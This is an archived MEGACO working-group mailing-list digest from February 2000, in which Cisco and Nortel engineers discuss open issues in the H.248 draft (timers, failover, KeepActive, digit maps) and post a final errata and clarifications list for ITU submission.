From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 00:19:03 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA07707
	for ; Fri, 4 Feb 2000 00:19:03 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.E5744F00@standards.nortelnetworks.com>; Fri, 4 Feb 2000 0:15:09 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22747 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 00:13:28 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.A958E350@standards.nortelnetworks.com>; Fri, 4 Feb 2000 0:13:28
          -0500
Received: from chsharp-tecra (chsharp-isdn.cisco.com [171.68.116.221]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id
          VAA08832; Thu, 3 Feb 2000 21:15:36 -0800 (PST)
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000204000911.00c05800@dogwood.cisco.com>
Date:         Fri, 4 Feb 2000 00:09:46 -0500
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Re: Cisco SG16: Provisional Response timers
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  

At 02:44 PM 2/3/00 -0500, Tom-PT Taylor wrote:
 > Resend.
 >
 > > -----Original Message-----
 > > From: Taylor, Tom-PT [CAR:B904:EXCH]
 > > Sent: Thursday, February 03, 2000 2:43 PM
 > > To:   'Chip Sharp'; MEGACO@STANDARDS.NORTELNETWORKS.COM
 > > Subject:      RE: Cisco SG16: Provisional Response timers
 > >
 > > This looks like a v2 optimization.  Anyone else care to comment?
 > >

An optimization ? Well, if you insist, but if you are serious about targeting
the carrier market with this protocol, I quite frankly don't see how you can
skip these kinds of "optimizations". After all, we do want the protocol to
perform well, right ?


 >
 > > -----Original Message-----
 > > From: Chip Sharp [SMTP:chsharp@CISCO.COM]
 > > Sent: Tuesday, January 25, 2000 7:51 PM
 > > To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
 > > Subject:      Cisco SG16: Provisional Response timers
 > >

This one seems to belong here as well:

Section:         8.2.3 (TransactionPending), last paragraph
Category:      Technical, Editorial
Issue no.:     12.28b
Issue:          The draft text specifies that "If a duplicate request is
received when pending, the responder may send a duplicate pending immediately,
or continue waiting for its timer to trigger another Transaction Pending".
However, Annex D.1.4 (first paragraph) specifies that "They should send this
[Transaction Pending] response if they receive a repetition of a transaction
that is still being executed."
Proposal:     It is recommended that the text in Section 8.2.3 is at a brought
in line with the text in Annex D.1.4.
Status:
     v13: OPEN. No relevant text changed
     v14: OPEN. No relevant text changed.



 >
 > > Section:        D.1.4
 > > Category:       Technical
 > > Issue:          The draft text specifies that receipt of a provisional
 > > response
 > > will imply a switch to a longer repetition timer for the transaction.
 > > However, there is no other reliability mechanism in place to detect the
 > > loss of the final response for that transaction, and consequently a lost
 > > final response may not be detected for a while (depends on the longer
 > > repetition timer). This leads to suboptimal behaviour of the protocol with
 > > unnecessary long time-outs.
 > > Proposal:       It is proposed, that a final response issued after a
 > > provisional
 > > response requires an immediate confirmation to enable rapid detection of a
 > > lost final response. Since the provisional response itself may be lost,
 > > this implies that the final response should include an indication that a
 > > response acknowledgement is required (immediately).
 > >
 > > v13 Status:     OPEN. No relevant text changed.

v14: SEMI-CLOSED. Text updated to require a final response be sent, however
there's no mention of the sender of the final response indicating that a
confirmation is needed which is needed for correct operation (consider the case
where a single provisional response was issued and lost; the sender of the
final
response is expecting a confirmation which he may never get since the receiver
of the final response has no way of knowing the sender expects it)


Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 00:19:04 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA07715
	for ; Fri, 4 Feb 2000 00:19:03 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.E5B72460@standards.nortelnetworks.com>; Fri, 4 Feb 2000 0:15:09 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22752 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 00:13:30 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.AA2F6D30@standards.nortelnetworks.com>; Fri, 4 Feb 2000 0:13:29
          -0500
Received: from chsharp-tecra (chsharp-isdn.cisco.com [171.68.116.221]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id
          VAA08837; Thu, 3 Feb 2000 21:15:38 -0800 (PST)
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Message-ID:  <4.2.2.20000204001015.00a94580@dogwood.cisco.com>
Date:         Fri, 4 Feb 2000 00:10:39 -0500
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Re: Cisco SG16: Failover
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id AAA07715

At 04:09 PM 2/3/00 -0500, Tom-PT Taylor wrote:

>
>
>Looks like an useful clarification to the existing text.
OK. For completeness all the relevant issues with a status update is 
included below. Please note the new issue.
>
>-----Original Message-----  From:  Chip Sharp 
>[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January 25, 2000 7:34 
>PM  [[TomT]]  snip
Section:         11.3 (Failure of an MG), second paragraph
Category:     Editorial
Issue no.:     12.32
Issue:          The draft text specifies that “Upon failover, the Primary 
MG sends a ServiceChange command with a “Failover” method and a “MG 
Impending Failure” reasons”, however the “Failover” method is not described 
in Section 7.2.8 on ServiceChange.
Proposal:     It is recommended that definition of the “Failover” method in 
accordance with the text in Section 11.3 be added to Section 7.2.8.
Status:
     v13: CLOSED. Failover method added in Section 7.2.8


Section:         11.4 (Failure of an MGC),
Category:     Editorial
Issue no.:     12.33
Issue:          The draft text specifies that “It sends a ServiceChange 
command with a “Failover” method and a “MGC Impending Failure” reason”, 
however the “Failover” method is not described in Section 7.2.8 on 
ServiceChange.
Proposal:     It is recommended that definition of the “Failover” method in 
accordance with the text in Section 11.4 is added to Section 7.2.8.
Status:
     v13: CLOSED. Failover method added in Section 7.2.8


Section:         11.4 (Failure of an MGC),
Category:     Open Issue
Issue no.:     12.34
Issue:          The draft text does not specify what the MG does if it 
exhausts its list of MGC’s to try. This is a rather serious omission.
Discussion: It is strongly recommended that additional work to define this 
behaviour be done, and in a way that will ensure that failed MGC’s will not 
be swamped when they become reachable again (cf. Annex D.1.6).
Status:
     v13: OPEN. No text changed.
     v14: SEMI-CLOSED. A mechanism has been defined, however it proposed to 
extend it with specifying, that a method of “Disconnected” is used in this 
case (at least if service is not restored within T-MAX time, cf. issue 12.50).


>    Section:        11.4, third 
> paragraph  Category:       Technical  Issue:          The draft text 
> specifies that "Accordingly, commands in progress  continue, transaction 
> replies are sent to the new MGC, and the MG should  expect outstanding 
> transaction replies from the new MGC". It is not clear  if messages are 
> directed to the new MGC prior to the handoff being  confirmed by a new 
> MGC or not. Also, it is not defined where 
> retransmitted  transactionrequests are to be sent when a handover occurs 
> until Annex  D.1.4. In order to support consistent and transparent 
> handoff, the above  must be specified.  Proposal:       It is 
> recommended, that messages are not directed to a new MGC  until that MGC 
> has accepted the handover (it is not clear if this is in  line with 
> specification in Annex D.1.4 or not). It also proposed, 
> that  retransmitted transactionrequests are sent to the new MGC as 
> specified in  Annex D.1.4.
>
>v13 Status:     OPEN. No text changed.
v14: CLOSED. Text has been updated.


Section:         11.5 (Failure of an MGC), second paragraph
Category:     Technical, Editorial
Issue no.:     14.10
Issue:          The draft text specifies that when the MGC sends a 
“Handoff” message to the MG, “The MG should send a ServiceChange message 
with a “Failover” method and a MGC directed change” reason to the 
designated MGC”. Cf. issue 14.7, it would seem more consistent if the MG 
sent a “Handoff” rather than a “Failover” to the (new) MGC in response to a 
handoff from the old MGC
Proposal:     It is proposed that the sentence is modified as described above.
Status:



Section:         D.1.4 (Provisional Responses), last paragraph
Category:     Open Issue
Issue no.:     12.50
Issue:         The draft text specifies that “It is however important that 
the maximum delay of retransmissions be bounded. Prior to any 
retransmission, it is checked that the time elapsed since the sending of 
the initial datagram is no greater than T-MAX. If more than T-MAX time has 
elapsed, the MG concludes that the MGC has failed, and it begins its 
recovery process. The value T-MAX is related to the LONG- IMER value; the 
LONG-TIMER value is obtained by adding to T-MAX the maximum propagation 
delay in the network”. Since the recovery procedure is not initiated until 
T-MAX time has passed, this implies that the transaction in question will 
be lost when the recovery procedure be initiated. This furthermore implies 
that transparent failover is not supported by the protocol which again will 
lead to a degraded level of service
Proposal:     It is recommended that work on a recovery procedure that will 
enable transparent failover be done and included in the specification.
Status:
     v13: OPEN. No text changed.
     v14: OPEN (now Section D.1.5). The sentence “When the MG establishes a 
new control associate, it can retransmit to the new MGC” has been added. 
However, this particular sentence violates the basis of T-MAX and may 
consequently lead to the same transaction being executed twice (e.g. if the 
original request was received and executed, but the response lost – after 
LONG-TIMER the fact that the transaction was executed will be lost and a 
subsequent retransmission will lead to the transaction being executed 
again). It seems, that the only safe solution within the current framework 
is to discard the transaction and issue a “Disconnected” ServiceChange to 
the other entity.
Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.          	
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 00:19:04 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA07726
	for ; Fri, 4 Feb 2000 00:19:04 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.E5F9D2B0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 0:15:10 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22757 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 00:13:32 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.AB3A7490@standards.nortelnetworks.com>; Fri, 4 Feb 2000 0:13:31
          -0500
Received: from chsharp-tecra (chsharp-isdn.cisco.com [171.68.116.221]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id
          VAA08840; Thu, 3 Feb 2000 21:15:39 -0800 (PST)
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000204001104.00b11360@dogwood.cisco.com>
Date:         Fri, 4 Feb 2000 00:11:43 -0500
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Re: Cisco SG16: Keep Active
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  

At 03:22 PM 2/3/00 -0500, Tom-PT Taylor wrote:
>
>
>I think the primary need here is for clarifying text in section 7.1.14
>indicating that events mapped into a digit map do not generate
>notifications, but do terminate ongoing signals unless the KeepActive flag
>is set.
Not really. The fundamental problem is the complete rework of the agreed
upon event handling mechanism that for some reason was done after the Red
Bank meeting.

>
>-----Original Message-----  From:  Chip Sharp
>[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January 25, 2000 7:43
>PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:       Cisco SG16:
>Keep Active
>
>Section:        7.1.9, "Event Actions"
>table  Category:       Technical  Issue:          The draft text specifies
>that "KeepActive:      As Notify, but  production of signals continues (if
>any signals were active)".The above  definition is overly restrictive in
>that it prevents events from being  accumulated (either with or without
>digit map) and at the same time keeping  a signal active. For example an
>IVR application accumulating a string of  user input and playing an
>announcement until the entire string is  accumulated cannot be supported
>with the above behaviour.  Proposal:       It is recommended, that
>"KeepActive" does not generate a "Notify"  and that it becomes possible to
>specify multiple actions such that  "KeepActive" can be combined with,
>e.g. "Notify" or "AccumulateByDigitMap"  depending on the particular
>application.
>
>v13 Status:     OPEN. Event actions table has been removed and
>extensive  modification of entire event processing taken place.
>
>Section:        7.1.9  Category:       Technical  Issue:          The
>draft text specifies that "When KeepActive is specified as the  event
>action, the media gateway shall send a Notify message to the  controller
>upon detection of the event. Furthermore, the controller shall  not
>interrupt any signals active on the Termination on which the event
>is  detected" The above definition is overly restrictive in that it
>prevents  events from being accumulated (either with or without digit map)
>and at the  same time keeping a signal active. For example an IVR
>application  accumulating a string of user input and playing an
>announcement until the  entire string is accumulated cannot be supported
>with the above behaviour.  Proposal:       It is recommended, that
>"KeepActive" does not generate a "Notify"  and that it becomes possible to
>specify multiple actions such that  "KeepActive" can be combined with,
>e.g. "Notify" or "AccumulateByDigitMap"  depending on the particular
>application.
>
>v13 Status:     OPEN. Extensive modifications of event handling has
>taken  place. Events now always reported immediately on detection.

Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 03:35:48 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA20857
	for ; Fri, 4 Feb 2000 03:35:48 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.79074900@standards.nortelnetworks.com>; Fri, 4 Feb 2000 3:32:33 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 23037 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 03:31:34 -0500
Received: from qhars001.nortel.com (192.100.101.18) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.55E8A770@standards.nortelnetworks.com>; Fri, 4 Feb 2000 3:31:34
          -0500
Received: from smtprch1.nortel.com (actually erchg0j) by qhars001.nortel.com;
          Fri, 4 Feb 2000 08:31:45 +0000
Received: from zmers013 by smtprch1.nortel.com; Fri, 4 Feb 2000 02:27:02 -0600
Received: from zrchb213.us.nortel.com by zmers013; Fri, 4 Feb 2000 03:26:49
          -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1F2TKXPW>; Fri, 4 Feb 2000 02:26:48 -0600
X-Mailer: Internet Mail Service (5.5.2448.0)
Message-ID:  
Date:         Fri, 4 Feb 2000 02:26:47 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Final Issue Scorecard
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

My submissions to the ITU will be based on the contents of this note.  If
something is really wrong, we can take a verbal message to Geneva when the
errata are dealt with next Tuesday.  (Clarifications can be fixed up over
the next week -- they are slightly less urgent.)  There are still a number
of open issues, but in my judgement we don't have to settle them to have a
working protocol.

Errata (intended for incorporation into H.248 before publication)
=============================================

Section affected: 7.1.6
Erratum: first paragraph, last sentence: replace with "A stream is deleted
by setting empty Local and Remote descriptors for the stream with Reserve in
LocalControl set to "false" on all terminations in the context which
previously supported that stream."
Reference: Chip Sharp, 25/01/00 and Tom Taylor, 02/02/00, Cisco SG16:
Streams

Section affected: 7.1.7
Erratum: second paragraph, first sentence.  Remove "delete" as an allowed
value for the Mode parameter.  Remove the final sentence of that paragraph.
Reference: Chip Sharp, 25/01/00 and Tom Taylor, 02/02/00, Cisco SG16:
Streams

Section affected: 7.1.14.

Erratum: paragraph explaining timer rules, beginning "The collection of
digits according to a Digit Map may be protected by three timers ...",
modify rule 3 concerning the use of the short timer (S) to read as follows:
"3.   If the digit string has matched one of the patterns in the digit map,
but it is possible that more digits could be received which would cause a
match with a different pattern, then instead of reporting the match
immediately, the MG must apply the short timer (S) and wait for more
digits."
Reference: Tom Taylor, 03/02/00, More Digit Map Fixes

Erratum: paragraph explaining event symbols, beginning "The formal syntax of
the digit map ...":  add the following sentence at the end of this
paragraph:
"Finally, the dot symbol "." stands for repetition of the symbol which
precedes it an arbitrary number of times."
Reference: Tom Taylor, 03/02/00, More Digit Map Fixes

Erratum: paragraph beginning "In addition to these event symbols, the string
may contain ..."
The "S" duration modifier is unexplained and should be deleted.

Erratum: replace the numbered steps from 3 onwards in the description of
processing behaviour near the end of the section with the following:

"3.   If the result does not match any entry and is under-qualified
(partially matches at least one entry in the DigitMap), do nothing further.

"4.   If the result is a match and is under-qualified (partially matches at
least one other entry in the DigitMap), apply the short timer and await
further
digits. If the timer expires and no digits are received or an end-of-dialing

indication is received, send the current dial string to the MGC.  If one or
more digits are received apply steps 1 through 5 again.

"5.   If the result is a match and is over-qualified (i.e., no further
digits could possibly produce a match), send the current dial string to the
MGC using the completion event defined in the package whose events are being
mapped into the digit map string."

Reference: Selvam Rengasami, 27/01/00, Telcordia SG 16: Comments on 7.1.13
on DigitMaps in H.248

Erratum: example at end of section.  The "L" and "S" modifiers should be
deleted.  The "*" and "#" symbols should instead be "E" and "F" in
accordance with the mapping in the DTMF detection event package (see erratum
for section E.6).

Section affected: 7.2.5
Erratum: third sentence before table at end, replace "unspecified" with
"wildcarded".
References:
Raised: Madhu Babu, 14/01/00, "unspecified" Context Identifier for Audit
Command
also Selvam Rengaswami, 27/01/00, Telcordia SG16: Comments on 8.1.2
regarding ContextIDs in H.2 48
Fix per Brian Rosen, 14/01/00, "unspecified" Context Identifier for Audit
Command

Section affected: 7.2.8

Erratum: API should show ServiceChangeDescriptor as input,
ServiceChangeReplyDescriptor as output.  It should show TerminationID as
non-optional output.
Reference: Sachin Mittal, 02/02/00, Command API

Erratum: in the bulleted list of contents of the ServiceChangeDescriptor,
use "ServiceChangeProfile" instead of "Profile", "ServiceChangeVersion"
instead of "Version", and "ServiceChangeMgcId" instead of "MGCIdToTry".
Make similar changes as required throughout the section.  Add the
"Extension" field.

Erratum: in the explanation of ServiceChangeMethod values, following item
(6) Failover, add another item as follows:

"(7) Another value whose meaning is mutually understood between the MGC and
the MG."

Erratum: to the paragraph beginning "The optional ServiceChangeAddress
parameter ...", add the following sentence:
"The ServiceChangeAddress and ServiceChangeMgcId parameters are mutually
exclusive."
Reference: Chuong Nguyen, 02/02/00, ServiceChange Method handoff

Erratum: following the paragraph beginning "The optional Timestamp parameter
specifies ...", add a new paragraph as follows:

"The optional Extension parameter may contain any value whose meaning is
mutually understood between the MGC and the MG."

Reference: Chuong Nguyen, 02/02/00, ServiceChange

Erratum: Delete the phrase "Summarizing use of properties in the
ServiceChange Descriptor:" and the bullets which follow -- they are partly
misleading and partly repetitious.
Reference: Chuong Nguyen, 31/01/00, ServiceChangeAddress; Chip Sharp,
04/02/00, Cisco SG16: Service Change

Erratum: paragraph following the last such bullet, beginning "The return
from ServiceChange ...": replace with the following:

"The return from ServiceChange is empty except when the Root terminationID
is used.  In that case it includes the following parameters as required:
*       ServiceChangeAddress, if the responding MGC wishes to specify an new
destination for messages from the MG for the remainder of the association;
*       ServiceChangeMgcId, if the responding MGC does not wish to sustain
an association with the MG;
*       ServiceChangeProfile, if the responder wishes to negotiate the
profile to be used for the association;
*       ServiceChangeVersion, if the responder wishes to negotiate the
version of the protocol to be used for the association.

Reference: Chuong Nguyen, 02/02/00, ServiceChange

Section affected: 8
Erratum: Fourth paragraph after figure: delete first sentence -- second
sentence says what must be said.

Section affected: 8.3

Erratum: second paragraph.  Delete reference to RFC 2145.  Add version
number for current version.  Hence the second sentence should now read:
"Versions consist of one or two digits, beginning with version 1 for the
initially-decided version of H.248."
Reference: Jo Friedman, 24/01/00, Question about Protocol Version

Section affected: 9.
Erratum: in second paragraph, where IP ports are specified: expect to obtain
the same value of port number for both TCP and UDP, but a different set of
ports for text vs. binary operation.
Raised: Christian Huitema, 14/01/00, FW: Application for port-number
Status: Chair has applied for second pair of port numbers for binary
operation.  Assigned port numbers should be known before decision of H.248.

Section affected: 11.1
Erratum: final paragraph: delete final sentence, which currently states
"ServiceChange may only be applied to the Root by Master MGC".
Reference: Chip Sharp, 25/01/00, Cisco SG16: Virtual MG & Root

Section affected: Annex A, section A.2

Erratum: delete OPTIONAL for the auditDescriptor term in the AuditRequest
production.
Reference: Sachin Mittal, 31/01/00, v 14: Change required in Audit command
description

Erratum: remove delete (5) from the StreamMode production.
Reference: Chip Sharp, 25/01/00 and Tom Taylor, 02/02/00, Cisco SG16:
Streams

Erratum: modify the comment after PkgdName to say that wildcarding of
Package Name (first two octets) is permitted only if Property Name is also
wildcarded.
Reference: Tom Taylor, 01/02/00, Meaning of Wildcarded PackageID

Section affected: 12.1.1
Erratum: in the explanation following "PackageID", delete all after "Is an
identifier"
Reference: Tom Taylor, 02/02/00, Text PackageIDs

Section affected: Annex A, section A.3
Erratum: in production "digitLetter", "ditigMapLetter" should be replaced by
"digitMapLetter".
Erratum: in accordance with section 7.1.14, the production "digitMapLetter"
should include the following symbols only: "0" through "9", "A" through "K",
and the long duration modifier "L".  Production MFsig should be deleted.

Section affected: Annex B, section B.2

Erratum: delete OPTIONAL for the auditDescriptor term in the AuditRequest
production.
Reference: Sachin Mittal, 31/01/00, v 14: Change required in Audit command
description

Erratum: modify production ErrorCode to be 1*4(DIGIT)
Reference: Paul Rupsis, 03/02/00, More IANA Considerations

Erratum: remove DeleteToken from the production streamModes and from the
list of tokens.
Reference: Chip Sharp, 25/01/00 and Tom Taylor, 02/02/00, Cisco SG16:
Streams

Erratum: modify the production pkgdName to exclude the combination "*/"
ItemID
Reference: Tom Taylor, 01/02/00, Meaning of Wildcarded PackageID

Erratum: in accordance with section 7.1.14, the production "digitMapLetter"
should include the following symbols only: "0" through "9", "A" through "K",
and the long duration modifier "L".  Production MFsig should be deleted.

Erratum: the range 1*64 in the productions quotedString and VALUE should be
replaced by 1* (i.e. one or more characters).
Reference: Steve Magnell, 02/02/00, maximum size of a VALUE

Section affected: Annex D, section D.1.1
Erratum: in the second paragraph, second sentence, replace the phrase "from
the same entity" with the phrase "to the same entity (same mId)".  In the
final sentence, replace the clause "which is simply ignored" with the clause
"but a TransactionPending response is generated".
Reference: Chip Sharp, 04/02/00, Cisco SG16: Transaction ID uniqueness

Section affected: Annex E, section E.5.3
Erratum: event name d* is not a legal production, and should be changed to
ds ("s" for "star").  Similarly, event name d# should become do ("o" for
"octothorpe").
Reference: Tom Taylor, 27/01/00, Cisco SG16: Comment on E.3.4

Section affected: Annex E, section E.6
Erratum: delete the final sentence.  This removes the option not to support
some tones.
Reference: Chip Sharp, 25/01/00, Cisco SG16: Annex E Comments

Section affected: Annex E, section E.6.2

Erratum: modify the definition of the DigitMap Completion Event to read as
follows:

DigitMap Completion Event
EventID: ce, 0x0001
Raised when pattern match or timeout is detected on a digit map.
EventsDescriptor parameters: none
ObservedEventsDescriptor parameters:
        DigitString
                ParameterID: ds (0x0001)
                Type: string of digit map symbols (possibly empty)
                Possible values: any sequence of the characters "0" through
                 "9", "A" through "F", and the long duration modifier "L".
                Description: the actual sequence of observed events,
                represented by their corresponding digit map symbols, which
                matched part or all of a digit map string.
        Extras
                ParameterID: ex (0x0002)
                Type:  list of toneIDs
                Possible values: any of the DTMF toneIDs defined in the
                table in section E.5.3
                Description: the sequence of tone events detected in the
                interval subsequent to completion of the (sub)string
reported
                in DigitString and before initial, long, or short timer
expiry as
                applicable.
        Completion
                ParameterID: cm (0x0002)
                Type: enumeration
                Possible values: "M" (unambiguous match), "S" (short timer
                expiry), or "T" (initial or long timer expiry)
Reference: Tom Taylor, 03/02/00, More Digit Map Fixes

Erratum: include the following text and table to provide mapping between
DTMF events and digit map symbols:

"The following table maps DTMF events to digit map symbols, for use as
described in section 7.1.14:"

    DTMF Event     Digit Map
                    Symbol
    d0 (0x0010)       "0"
    d1 (0x0011)       "1"
    d2 (0x0012)       "2"
    ...               ...
    d9 (0x0019)       "9"
    da (0x001a)       "A"
    db (0x001b)       "B"
    dc (0x001c)       "C"
    dd (0x001d)       "D"
    ds (0x0020)       "E"
    do (0x0021)       "F"

Reference: Chip Sharp, 25/01/00 and Tom Taylor, 27/01/00, Cisco SG16:
Comment on E.3.4

Erratum: delete reference to MF digits in the list of possible values.  The
latter must be defined in a separate package.

Section affected: Annex E, section E.9.2

Erratum: add the following behavioural description to the "onhook" event:
"If the first event descriptor after (re)establishment of MGC control over
the specific termination concerned or the MG as a whole contains the on-hook
event request and the line is already on-hook, the MG shall act as if
on-hook had occurred immediately after the event descriptor became active."
Erratum: add the following behavioural description to the "offhook" event:
"If the first event descriptor after (re)establishment of MGC control over
the specific termination concerned or the MG as a whole contains the
oof-hook event request and the line is already off-hook, the MG shall act as
if off-hook had occurred immediately after the event descriptor became
active."
Reference: Brian Rosen, 21/01/00, and subsequent discussion in the
Preconditions thread, resolved by Tom Taylor, 25/01/00.

Section affected: Annex E, section E.10.3
Erratum: for the test type parameter, "Possible values": insert the comment
"(extendible)" after "q724"

Section affected: Annex E, section E.10.5
Erratum:  replace all after "... perform the test in accordance with ..." by
the clause:
 "... the specified test type and information provisioned in the MG for the
affected termination."
Reference: Chip Sharp, 25/01/00 and Tom Taylor, 02/02/00, Cisco SG16: Annex
E Comments

Section affected: Annex E, section E.11.1
Erratum: add the following property:
Silence Suppression
   PropertyID: ssup (0x1008)
   This property indicates whether silence suppression is to be activated in
the encoding of the audio media flow to which it relates,
   Type: Boolean
   Possible values: True if silence suppression is to be applied.
   Defined in: LocalControl
   Characteristics: read/write
Reference: Chip Sharp, 25/01/00, Cisco SG16: Annex E Comments

Section affected: Annex E, section E.13.1
Erratum: modify the definition of the Echo Cancellation property to readf as
follows:

Echo Cancellation
                PropertyID: ec (0x0008)
                By default, the telephony gateways always perform echo
cancellation according to
                G.165/G.168. However, it is necessary, for some calls, to
turn off these operations.
                Type: enumerated
                Possible Values:
                                "on" (when the echo cancellation is
permanently enabled and will disregard any
                                incoming tones)
                                "g165" (when ec is according to G.165/G.168:
ec is on, but will turn
                                itself off when it sees a 2100Hz tone with
phase reversal (i.e. a CED fax tone, or an
                                ANS modem tone)
                                "g164" (when ec is according to G.164)
                                "off" (when it is turned off.)
                                The default is "g165".
        Defined In: LocalControlDescriptor
        Characteristics: read/write

Reference: Nancy Greene, 03/02/00, E.13.1 echo cancellation


Section affected: Appendix A, section A.1.2

Erratum: step 9, remove "L"and "S" characters from the digit map.  Use "E"
instead of "*" and "F" instead of "#".

Erratum: step 11, parameters to dd/ce event should be
"{ds="916135551212",cm=M}"
Reference: Tom Taylor, 03/02/00, More Digit Map Fixes

Erratum: step 15, add the line "Events = 1234{al/of}" preceding the Signals
line.
Erratum: step 16.  Insert the line "Add = A5555{}" above the line "Add =
A5556{"
Reference: Ameneh Zahir-Emami, 02/02/00, some comments on Appendix A of
megaco : Example call flows


Clarifications (intended for the H.248 Implementor's Guide)
==========================================

Section affected: 7.1.5

Comment: if a command other than ServiceChange or Subtract is received for a
terminationID which is in Test or Out of service state, the MG should reject
the command with error 503 - Service unavailable.
Reference: Sachin Mittal, 31/01/00, ServiceChange

Section affected: 7.1.14

Comment: the events which are being mapped into a digit map descriptor are
recognized as individual events as they are detected.  In particular,
regardless of the status of matching of the digit map, event detection will
stop emission of signals in progress unless the KeepAlive parameter is set.
Reference: Madhu Babu, 25/01/00 and subsequent discussion, Stopping of Dial
tone

Comment: when an event descriptor causing digit map accumulation is replaced
by an embedded event descriptor, the current dial string must be cleared and
the status of matching of the digit map must be reset.
Reference: Chip Sharp, 25/01/00, Embedded Events/Signals Descriptor

Section affected: 7.2.8

Comment: Where the terminationID designates an individual termination the
sender of the ServiceChange command should use the contextID of the context
in which the termination currently lies.  In any other usage the contextID
has no significance for the processing of the ServiceChange command.
Reference: Sachin Mittal, 27/01/00 and Tom Taylor, 31/01/00, Importance of
ContextID in ServiceChange command

Comment: If a termination is already in the Null context when a Graceful
ServiceChange is issued/received, the serviceState must be set to "out of
service" as soon as the delay has expired, or immediately if the delay is
null.
Reference: Sachin Mittal, 27/01/00, ServiceChange in Null context

Comment: If the MGC issues a ServiceChange (restart) for a termination and
it can be recovered (i.e. hasn't lost its bearer), the MG must act on the
command.  If the termination cannot be recovered the MG must reject the
command with error return.
Reference: Madhu Babu, 27/01/00 and Tom Taylor, 28/01/00, ServiceChange

